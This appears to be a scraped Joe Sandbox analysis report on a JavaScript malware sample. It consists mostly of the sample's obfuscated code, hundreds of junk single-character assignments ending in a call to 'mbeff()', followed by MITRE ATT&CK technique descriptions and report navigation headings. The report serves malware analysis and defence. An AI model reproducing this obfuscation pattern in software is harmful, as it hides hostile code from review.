449	lwdqqhly = "M";
450	lwdqqhly = "O";
451	lwdqqhly = "H";
452	lwdqqhly = "T";
453	lwdqqhly = "r";
454	lwdqqhly = "c";
455	sfxsm = "h";
456	sfxsm = "u";
457	sfxsm = "Y";
458	xfznhqup = "p";
459	xfznhqup = "Y";
460	xfznhqup = "k";
461	xfznhqup = "Y";
462	xfznhqup = "L";
463	xfznhqup = "W";
464	xfznhqup = "r";
465	xfznhqup = "y";
466	xfznhqup = "Q";
467	xfznhqup = "L";
468	xfznhqup = "k";
469	xfznhqup = "u";
470	xfznhqup = "H";
471	xfznhqup = "a";
472	ajpune = "U";
473	ajpune = "s";
474	ajpune = "c";
475	ajpune = "e";
476	ajpune = "v";
477	ajpune = "H";
478	ajpune = "m";
479	ajpune = "T";
480	ajpune = "h";
481	ajpune = "E";
482	ajpune = "R";
483	ajpune = "P";
484	ajpune = "h";
485	ajpune = "o";
486	ajpune = "A";
487	ajpune = "p";
488	ajpune = "N";
489	ajpune = "I";
490	ajpune = "X";
491	ajpune = "A";
492	ajpune = "H";
493	ajpune = "U";
494	ajpune = "Q";
495	ajpune = "h";
496	ajpune = "P";
497	ajpune = "o";
498	ajpune = "y";
499	ajpune = "k";
500	ajpune = "e";
501	ajpune = "m";
502	ajpune = "W";
503	ajpune = "v";
504	ajpune = "T";
505	ajpune = "I";
506	ajpune = "w";
507	ajpune = "h";
508	ajpune = "R";
509	ajpune = "j";
510	ajpune = "a";
511	ajpune = "U";
512	ajpune = "z";
513	ajpune = "0";
514	topsgll = "n";
515	topsgll = "m";
516	topsgll = "w";
517	topsgll = "l";
518	topsgll = "m";
519	topsgll = "P";
520	topsgll = "B";
521	topsgll = "w";
522	topsgll = "e";
523	topsgll = "f";
524	topsgll = "U";
525	topsgll = "i";
526	topsgll = "c";
527	topsgll = "i";
528	topsgll = "a";
529	topsgll = "Q";
530	topsgll = "q";
531	topsgll = "T";
532	topsgll = "f";
533	topsgll = "v";
534	nxxtw = "o";
535	nxxtw = "C";
536	nxxtw = "e";
537	nxxtw = "s";
538	nxxtw = "d";
539	nxxtw = "e";
540	nxxtw = "s";
541	nxxtw = "d";
542	nxxtw = "Y";
543	nxxtw = "p";
544	nxxtw = "j";
545	nxxtw = "S";
546	nxxtw = "f";
547	nxxtw = "H";
548	nxxtw = "U";
549	nxxtw = " ";
550	bnzzfm = "T";
551	bnzzfm = "f";
552	bnzzfm = "G";
553	bnzzfm = "a";
554	bnzzfm = "J";
555	bnzzfm = "u";
556	bnzzfm = "l";
557	bnzzfm = "W";
558	bnzzfm = "G";
559	bnzzfm = "H";
560	gejymux = "k";
561	gejymux = "E";
562	gejymux = "C";
563	jzqjse = "x";
564	jzqjse = "%";
565	jggkaf = "o";
566	jggkaf = "x";
567	jggkaf = "D";
568	jggkaf = "q";
569	jggkaf = "o";
570	jggkaf = "m";
571	jggkaf = "F";
572	jlmtaj = "d";
573	jlmtaj = "J";
574	jlmtaj = "q";
575	jlmtaj = "J";
576	jlmtaj = "m";
577	jlmtaj = "q";
578	jlmtaj = "L";
579	jlmtaj = "b";
580	jlmtaj = "C";
581	jlmtaj = "h";
582	jlmtaj = "p";
583	jlmtaj = "z";
584	jlmtaj = "a";
585	jlmtaj = "x";
586	jlmtaj = "H";
587	jlmtaj = "I";
588	jlmtaj = "n";
589	jlmtaj = "p";
590	jlmtaj = "E";
591	jlmtaj = "o";
592	jlmtaj = "w";
593	jlmtaj = "K";
594	jlmtaj = "g";
595	jlmtaj = "z";
596	jlmtaj = "g";
597	jlmtaj = "H";
598	jlmtaj = "M";
599	jlmtaj = "d";
600	jlmtaj = "n";
601	jlmtaj = "V";
602	jlmtaj = "Q";
603	jlmtaj = "a";
604	jlmtaj = "c";
605	jlmtaj = "J";
606	jlmtaj = "C";
607	jlmtaj = "i";
608	jlmtaj = "z";
609	jlmtaj = "N";
610	jlmtaj = "p";
611	jlmtaj = "w";
612	jlmtaj = "d";
613	jlmtaj = "l";
614	jlmtaj = "J";
615	jlmtaj = "h";
616	jlmtaj = "k";
617	yofsrv = "u";
618	yofsrv = "d";
619	yofsrv = "u";
620	yofsrv = "D";
621	yofsrv = "c";
622	yofsrv = "u";
623	yofsrv = "J";
624	yofsrv = "p";
625	yofsrv = "j";
626	yofsrv = "q";
627	yofsrv = "L";
628	yofsrv = "c";
629	yofsrv = "V";
630	yofsrv = "e";
631	yofsrv = "E";
632	yofsrv = "R";
633	yofsrv = "D";
634	yofsrv = "X";
635	yofsrv = "W";
636	yofsrv = "b";
637	yofsrv = "r";
638	yofsrv = "X";
639	yofsrv = "N";
640	yofsrv = "8";
641	exnzfdr = "R";
642	exnzfdr = "p";
643	exnzfdr = "D";
644	exnzfdr = "X";
645	exnzfdr = "H";
646	exnzfdr = "A";
647	exnzfdr = "l";
648	diwghkyxi = "O";
649	diwghkyxi = "Z";
650	diwghkyxi = "r";
651	diwghkyxi = "U";
652	diwghkyxi = "h";
653	diwghkyxi = "s";
654	diwghkyxi = "O";
655	diwghkyxi = "k";
656	diwghkyxi = "d";
657	diwghkyxi = "w";
658	yuste = "N";
659	yuste = "E";
660	yuste = "X";
661	yuste = "V";
662	yuste = "Z";
663	yuste = "v";
664	yuste = "o";
665	yuste = "S";
666	yuste = "u";
667	yuste = "y";
668	yuste = "h";
669	yuste = "h";
670	yuste = "i";
671	yuste = "Z";
672	yuste = "E";
673	yuste = "Z";
674	yuste = "H";
675	yuste = "E";
676	yuste = "v";
677	yuste = "W";
678	yuste = "g";
679	yuste = "B";
680	yuste = "I";
681	yuste = "X";
682	yuste = "k";
683	yuste = "B";
684	yuste = "j";
685	yuste = "U";
686	yuste = "i";
687	yuste = "f";
688	yuste = "n";
689	qtkrcbq = "A";
690	qtkrcbq = "Z";
691	qtkrcbq = "o";
692	qtkrcbq = "p";
693	qtkrcbq = "c";
694	qtkrcbq = "w";
695	qtkrcbq = "u";
696	qtkrcbq = "d";
697	qtkrcbq = "y";
698	qtkrcbq = "E";
699	qtkrcbq = "u";
700	qtkrcbq = "R";
701	qtkrcbq = "V";
702	qtkrcbq = "k";
703	qtkrcbq = "D";
704	qtkrcbq = "D";
705	qtkrcbq = "y";
706	qtkrcbq = "z";
707	qtkrcbq = "c";
708	qtkrcbq = "N";
709	qtkrcbq = "Y";
710	qtkrcbq = "b";
711	qtkrcbq = "N";
712	zqbwdqvt = "o";
713	zqbwdqvt = "r";
714	zqbwdqvt = "M";
715	zqbwdqvt = "e";
716	zqbwdqvt = "m";
717	zqbwdqvt = "g";
718	zqbwdqvt = "Z";
719	zqbwdqvt = "W";
720	zqbwdqvt = "P";
721	zqbwdqvt = "I";
722	zqbwdqvt = "p";
723	qfvrpqxju = "l";
724	qfvrpqxju = "B";
725	qfvrpqxju = "o";
726	qfvrpqxju = "e";
727	qfvrpqxju = "H";
728	qfvrpqxju = "s";
729	qfvrpqxju = "N";
730	qfvrpqxju = "v";
731	qfvrpqxju = "q";
732	qfvrpqxju = "v";
733	qfvrpqxju = "t";
734	qfvrpqxju = "j";
735	qfvrpqxju = "U";
736	qfvrpqxju = "E";
737	qfvrpqxju = "r";
738	chnjimg = "k";
739	chnjimg = "D";
740	chnjimg = "F";
741	chnjimg = "O";
742	wdagxlq = "C";
743	wdagxlq = "Y";
744	wdagxlq = "C";
745	wdagxlq = "z";
746	wdagxlq = "y";
747	wdagxlq = "K";
748	wdagxlq = "H";
749	wdagxlq = "C";
750	wdagxlq = "X";
751	wdagxlq = "J";
752	wdagxlq = "v";
753	wdagxlq = "T";
754	wdagxlq = "L";
755	wdagxlq = "I";
756	wrbxsbvgs = "n";
757	wrbxsbvgs = "a";
758	wrbxsbvgs = "e";
759	wrbxsbvgs = "f";
760	wrbxsbvgs = "u";
761	wrbxsbvgs = "J";
762	wrbxsbvgs = "g";
763	wrbxsbvgs = "g";
764	wrbxsbvgs = "X";
765	wrbxsbvgs = "w";
766	wrbxsbvgs = "F";
767	wrbxsbvgs = "D";
768	wrbxsbvgs = "r";
769	wrbxsbvgs = "k";
770	wrbxsbvgs = "r";
771	wrbxsbvgs = "R";
772	wrbxsbvgs = "q";
773	wrbxsbvgs = "H";
774	wrbxsbvgs = "Z";
775	wrbxsbvgs = "O";
776	wrbxsbvgs = "R";
777	wrbxsbvgs = "s";
778	wrbxsbvgs = "c";
779	wrbxsbvgs = "W";
780	wrbxsbvgs = "M";
781	wrbxsbvgs = "j";
782	wrbxsbvgs = "F";
783	wrbxsbvgs = "S";
784	wrbxsbvgs = "a";
785	wrbxsbvgs = "y";
786	wrbxsbvgs = "J";
787	wrbxsbvgs = "H";
788	wrbxsbvgs = "Y";
789	wrbxsbvgs = "D";
790	wrbxsbvgs = "L";
791	wrbxsbvgs = "z";
792	wrbxsbvgs = "H";
793	wrbxsbvgs = "w";
794	wrbxsbvgs = "H";
795	wrbxsbvgs = "b";
796	wrbxsbvgs = "q";
797	wrbxsbvgs = "z";
798	wrbxsbvgs = "6";
799	pfvkns = "c";
800	pfvkns = "u";
801	pfvkns = "u";
802	pfvkns = "P";
803	pfvkns = "L";
804	lizqpyqm = "B";
805	lizqpyqm = "j";
806	lizqpyqm = "f";
807	lizqpyqm = "b";
808	lizqpyqm = "n";
809	lizqpyqm = "K";
810	lizqpyqm = "r";
811	lizqpyqm = "y";
812	lizqpyqm = "w";
813	lizqpyqm = "q";
814	lizqpyqm = "U";
815	lizqpyqm = "e";
816	lizqpyqm = "t";
817	lizqpyqm = "j";
818	lizqpyqm = "u";
819	lizqpyqm = "p";
820	lizqpyqm = "x";
821	lizqpyqm = "J";
822	lizqpyqm = "k";
823	lizqpyqm = "v";
824	lizqpyqm = "N";
825	lizqpyqm = "M";
826	lizqpyqm = "I";
827	lizqpyqm = "t";
828	frqak = "b";
829	frqak = "z";
830	frqak = "A";
831	frqak = "E";
832	frqak = "o";
833	frqak = "r";
834	frqak = "I";
835	frqak = "G";
836	frqak = "c";
837	frqak = "B";
838	frqak = "f";
839	frqak = "A";
840	frqak = "x";
841	frqak = "Q";
842	frqak = "V";
843	frqak = "E";
844	frqak = "J";
845	frqak = "b";
846	frqak = "w";
847	frqak = "x";
848	frqak = "s";
849	frqak = "L";
850	frqak = "I";
851	frqak = "g";
852	frqak = "I";
853	frqak = "B";
854	frqak = "g";
855	frqak = "R";
856	frqak = "r";
857	frqak = "q";
858	frqak = "T";
859	frqak = "H";
860	frqak = "b";
861	frqak = "y";
862	frqak = "T";
863	frqak = "F";
864	frqak = "p";
865	frqak = "y";
866	frqak = "D";
867	frqak = "H";
868	frqak = "F";
869	frqak = "q";
870	frqak = "F";
871	frqak = "/";
872	ritnkbc = "N";
873	ritnkbc = "Z";
874	ritnkbc = "3";
875	keqyqja = "p";
876	keqyqja = "O";
877	keqyqja = "A";
878	keqyqja = "d";
879	keqyqja = "n";
880	keqyqja = "z";
881	keqyqja = "w";
882	keqyqja = "N";
883	keqyqja = "k";
884	keqyqja = "N";
885	keqyqja = "l";
886	keqyqja = "i";
887	keqyqja = "x";
888	keqyqja = "2";
889	zhqntv = "i";
890	zhqntv = "H";
891	zhqntv = "o";
892	zhqntv = "X";
893	zhqntv = "g";
894	zhqntv = "G";
895	zhqntv = "V";
896	zhqntv = "a";
897	zhqntv = "o";
898	zhqntv = "V";
899	zhqntv = "o";
900	zhqntv = "Q";
901	yribmf = "l";
902	yribmf = "Y";
903	yribmf = "\"";
904	tytgfxmty = "i";
905	tytgfxmty = "F";
906	tytgfxmty = "k";
907	tytgfxmty = "m";
908	tytgfxmty = "E";
909	tytgfxmty = "w";
910	tytgfxmty = "i";
911	tytgfxmty = "A";
912	tytgfxmty = "Y";
913	tytgfxmty = "b";
914	tytgfxmty = "L";
915	tytgfxmty = "s";
916	qzvmf = "X";
917	qzvmf = "Y";
918	qzvmf = "v";
919	qzvmf = "O";
920	qzvmf = "N";
921	qzvmf = "A";
922	qzvmf = "C";
923	qzvmf = "K";
924	qzvmf = "G";
925	qzvmf = "j";
926	qzvmf = "B";
927	qzvmf = "c";
928	qzvmf = "D";
929	qzvmf = "k";
930	qzvmf = "b";
931	qzvmf = "B";
932	qzvmf = "l";
933	qzvmf = "d";
934	qzvmf = "K";
935	qzvmf = "P";
936	qzvmf = "j";
937	qzvmf = "A";
938	qzvmf = "g";
939	qzvmf = "I";
940	qzvmf = "f";
941	qzvmf = "Q";
942	qzvmf = "E";
943	qzvmf = "G";
944	qzvmf = "C";
945	qzvmf = "c";
946	qzvmf = "l";
947	qzvmf = "G";
948	qzvmf = "I";
949	qzvmf = "9";
950	hjxld = "M";
951	hjxld = "l";
952	hjxld = "v";
953	hjxld = "r";
954	hjxld = "v";
955	hjxld = "o";
956	hjxld = "f";
957	hjxld = "u";
958	hjxld = "Q";
959	hjxld = "t";
960	hjxld = "e";
961	hjxld = "Q";
962	hjxld = "O";
963	hjxld = "E";
964	hjxld = "X";
965	hjxld = "h";
966	hjxld = "y";
967	hjxld = "r";
968	hjxld = "Q";
969	hjxld = "K";
970	hjxld = "G";
971	hjxld = "d";
972	hjxld = "B";
973	hjxld = "u";
974	hjxld = "s";
975	hjxld = "l";
976	hjxld = "h";
977	hjxld = "J";
978	hjxld = "M";
979	hjxld = "Z";
980	hjxld = "S";
981	hjxld = "x";
982	hjxld = "H";
983	hjxld = "Q";
984	hjxld = "y";
985	hjxld = "N";
986	hjxld = "g";
987	hjxld = "-";
988	whdnltj = "I";
989	whdnltj = "d";
990	whdnltj = "I";
991	whdnltj = "i";
992	whdnltj = "u";
993	whdnltj = "i";
994	whdnltj = "x";
995	whdnltj = "J";
996	whdnltj = "X";
997	whdnltj = "D";
998	whdnltj = "Z";
999	whdnltj = "N";
1000	whdnltj = "a";
1001	whdnltj = "i";
1002	whdnltj = "a";
1003	whdnltj = "e";
1004	whdnltj = "V";
1005	whdnltj = "z";
1006	whdnltj = "s";
1007	whdnltj = "f";
1008	whdnltj = "U";
1009	whdnltj = "s";
1010	whdnltj = "D";
1011	whdnltj = "t";
1012	whdnltj = "e";
1013	whdnltj = "x";
1014	whdnltj = "c";
1015	whdnltj = "o";
1016	ntksgbmb = "p";
1017	ntksgbmb = "t";
1018	ntksgbmb = "p";
1019	ntksgbmb = "a";
1020	ntksgbmb = "C";
1021	ntksgbmb = "K";
1022	ntksgbmb = "D";
1023	ntksgbmb = "c";
1024	ntksgbmb = "T";
1025	ntksgbmb = "B";
1026	ntksgbmb = "c";
1027	ntksgbmb = "h";
1028	ntksgbmb = "j";
1029	ntksgbmb = "N";
1030	ntksgbmb = "a";
1031	ntksgbmb = "e";
1032	ntksgbmb = "t";
1033	ntksgbmb = "E";
1034	gvvcw = "S";
1035	gvvcw = "i";
1036	gvvcw = "W";
1037	gvvcw = "d";
1038	gvvcw = "m";
1039	gvvcw = "H";
1040	gvvcw = "D";
1041	gvvcw = "Z";
1042	gvvcw = "Z";
1043	gvvcw = "u";
1044	gvvcw = "V";
1045	gvvcw = "J";
1046	gvvcw = "W";
1047	gvvcw = "M";
1048	gvvcw = "T";
1049	gvvcw = "S";
1050	gvvcw = "D";
1051	gvvcw = "r";
1052	gvvcw = "h";
1053	gvvcw = "o";
1054	gvvcw = "s";
1055	gvvcw = "G";
1056	gvvcw = "Q";
1057	gvvcw = "k";
1058	gvvcw = "b";
1059	gvvcw = "T";
1060	gvvcw = "D";
1061	gvvcw = "v";
1062	gvvcw = "@";
1063	qwznimx = "x";
1064	qwznimx = "g";
1065	qwznimx = "I";
1066	qwznimx = "I";
1067	qwznimx = "S";
1068	qwznimx = "j";
1069	qwznimx = "j";
1070	qwznimx = "g";
1071	qwznimx = "L";
1072	qwznimx = "V";
1073	qwznimx = "f";
1074	qwznimx = "R";
1075	qwznimx = "C";
1076	qwznimx = "Y";
1077	qwznimx = "r";
1078	qwznimx = "n";
1079	qwznimx = "i";
1080	qwznimx = "M";
1081	qwznimx = "X";
1082	qwznimx = "K";
1083	qwznimx = "B";
1084	qwznimx = "l";
1085	qwznimx = "u";
1086	khfrnypa = "y";
1087	khfrnypa = "U";
1088	khfrnypa = "G";
1089	khfrnypa = "C";
1090	khfrnypa = "M";
1091	khfrnypa = "M";
1092	khfrnypa = "n";
1093	khfrnypa = "s";
1094	khfrnypa = "g";
1095	khfrnypa = "R";
1096	khfrnypa = "Q";
1097	khfrnypa = "e";
1098	khfrnypa = "T";
1099	khfrnypa = "e";
1100	khfrnypa = "Z";
1101	khfrnypa = "q";
1102	khfrnypa = "b";
1103	khfrnypa = "T";
1104	khfrnypa = "Z";
1105	khfrnypa = "L";
1106	khfrnypa = "W";
1107	khfrnypa = "Q";
1108	khfrnypa = "X";
1109	khfrnypa = "U";
1110	khfrnypa = "C";
1111	khfrnypa = "g";
1112	khfrnypa = "o";
1113	khfrnypa = "e";
1114	khfrnypa = "Q";
1115	khfrnypa = "Z";
1116	khfrnypa = "L";
1117	khfrnypa = "y";
1118	khfrnypa = "X";
1119	khfrnypa = "y";
1120	khfrnypa = "R";
1121	khfrnypa = "b";
1122	khfrnypa = "d";
1123	khfrnypa = "T";
1124	khfrnypa = "G";
1125	khfrnypa = "n";
1126	khfrnypa = "f";
1127	khfrnypa = "v";
1128	khfrnypa = "m";
1129	rtvgv = "b";
1130	rtvgv = "G";
1131	rtvgv = "l";
1132	rtvgv = "O";
1133	rtvgv = "O";
1134	rtvgv = "s";
1135	rtvgv = "Z";
1136	rtvgv = "Z";
1137	rtvgv = "q";
1138	bdffiuujt = "y";
1139	bdffiuujt = "l";
1140	bdffiuujt = "K";
1141	bdffiuujt = "d";
1142	bdffiuujt = "b";
1143	bdffiuujt = "v";
1144	bdffiuujt = "V";
1145	bdffiuujt = "w";
1146	bdffiuujt = "c";
1147	bdffiuujt = "F";
1148	bdffiuujt = "a";
1149	bdffiuujt = "T";
1150	bdffiuujt = "s";
1151	bdffiuujt = "R";
1152	bdffiuujt = "l";
1153	bdffiuujt = "s";
1154	bdffiuujt = "c";
1155	bdffiuujt = "X";
1156	bdffiuujt = "P";
1157	bdffiuujt = "A";
1158	bdffiuujt = "u";
1159	bdffiuujt = "E";
1160	bdffiuujt = "X";
1161	bdffiuujt = "u";
1162	bdffiuujt = "X";
1163	bdffiuujt = "b";
1164	crhiq = "H";
1165	crhiq = "J";
1166	crhiq = "J";
1167	crhiq = "N";
1168	crhiq = "t";
1169	crhiq = "E";
1170	crhiq = "W";
1171	crhiq = "i";
1172	crhiq = "s";
1173	crhiq = "a";
1174	crhiq = "S";
1175	crhiq = "A";
1176	crhiq = "n";
1177	crhiq = "K";
1178	crhiq = "g";
1179	crhiq = "O";
1180	crhiq = "T";
1181	crhiq = "N";
1182	crhiq = "O";
1183	crhiq = "E";
1184	crhiq = "Z";
1185	crhiq = "G";
1186	crhiq = "F";
1187	crhiq = "H";
1188	crhiq = "h";
1189	crhiq = "h";
1190	crhiq = "y";
1191	crhiq = "D";
1192	crhiq = "U";
1193	crhiq = "d";
1194	crhiq = "Y";
1195	crhiq = "z";
1196	crhiq = "f";
1197	crhiq = "Z";
1198	crhiq = "i";
1199	crhiq = "v";
1200	crhiq = "r";
1201	crhiq = "l";
1202	crhiq = ".";
1203	xjbyirhs = "D";
1204	xjbyirhs = "S";
1205	xjbyirhs = "v";
1206	xjbyirhs = "d";
1207	xjbyirhs = "K";
1208	xjbyirhs = "Y";
1209	xjbyirhs = "s";
1210	xjbyirhs = "l";
1211	xjbyirhs = "l";
1212	xjbyirhs = "b";
1213	xjbyirhs = "R";
1214	xjbyirhs = "O";
1215	xjbyirhs = "f";
1216	mbeff ( );	mbeff() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1071116915318159767.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

